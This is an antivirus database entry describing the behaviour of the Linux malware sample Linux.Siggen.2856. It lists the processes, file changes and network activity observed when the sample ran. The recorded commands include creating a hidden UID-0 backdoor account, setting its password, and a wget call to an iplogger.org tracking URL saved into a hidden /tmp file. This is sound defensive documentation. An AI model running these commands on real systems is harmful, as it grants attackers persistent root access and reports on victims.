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Linux.Siggen.2856

Added to the Dr.Web virus database: 2020-05-07

Virus description added:

Technical Information

Malicious functions:
Performs process tracing:
  • <SAMPLE>
  • <SAMPLE_FULL_PATH>
Launches processes:
  • /bin/bash <SAMPLE_FULL_PATH> -c exec '<SAMPLE_FULL_PATH>' \"$@\" <SAMPLE_FULL_PATH>
  • <SAMPLE_FULL_PATH>
  • /bin/bash <SAMPLE_FULL_PATH> -c
  • useradd -o -u 0 -g 0 -M -d /root -s /bin/bash DOGUKANX2
  • nscd -i passwd
  • nscd -i group
  • passwd DOGUKANX2
  • wget -q -O /tmp/... https://iplogger.org/2xJL26
Kills the following processes:
  • <SAMPLE>
  • <SAMPLE_FULL_PATH>
Performs operations with the file system:
Modifies file access rights:
  • /etc/passwd+
  • /etc/shadow+
  • /etc/subuid+
  • /etc/subgid+
  • /etc/nshadow
Creates symlinks:
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /etc/shadow.lock
Creates or modifies files:
  • /etc/.pwd.lock
  • /etc/passwd.709
  • /etc/group.709
  • /etc/gshadow.709
  • /etc/subuid.709
  • /etc/subgid.709
  • /etc/shadow.709
  • /etc/passwd-
  • /etc/passwd+
  • /etc/shadow-
  • /etc/shadow+
  • /etc/subuid-
  • /etc/subuid+
  • /etc/subgid-
  • /etc/subgid+
  • /etc/nshadow
  • /tmp/...
Deletes files:
  • /etc/passwd.709
  • /etc/group.709
  • /etc/gshadow.709
  • /etc/subuid.709
  • /etc/subgid.709
  • /etc/shadow.709
  • /etc/shadow.lock
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
Network activity:
Establishes connection:
  • <LOCAL_DNS_SERVER>
  • 88.##.66.31:443
DNS ASK:
  • ip###ger.org
Other:
Collects RAM information

Curing recommendations


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